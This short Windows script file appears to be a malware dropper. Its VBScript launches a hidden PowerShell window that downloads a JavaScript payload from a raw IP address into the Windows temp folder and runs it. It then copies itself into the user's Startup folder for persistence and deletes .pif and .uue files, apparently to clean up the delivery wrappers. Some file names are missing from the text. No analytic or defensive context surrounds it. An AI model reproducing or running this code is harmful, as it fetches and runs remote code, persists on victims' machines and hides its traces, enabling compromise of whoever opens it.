<job id="VBScriptJob"><script language="VBScript">CreateObject("WScript.Shell").Run"powershell.exe -WindowStyle Hidden wget 'http://178.73.218.10/envio.js' -o C:\Windows\Temp\
.js;explorer.exe C:\Windows\Temp\
.js;Start-Sleep 3;[System.IO.File]::Copy('
.wsf','C:\Users\' + [Environment]::UserName + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
.wsf');Start-Sleep 1;rm *.pif,*.uue",false</script></job>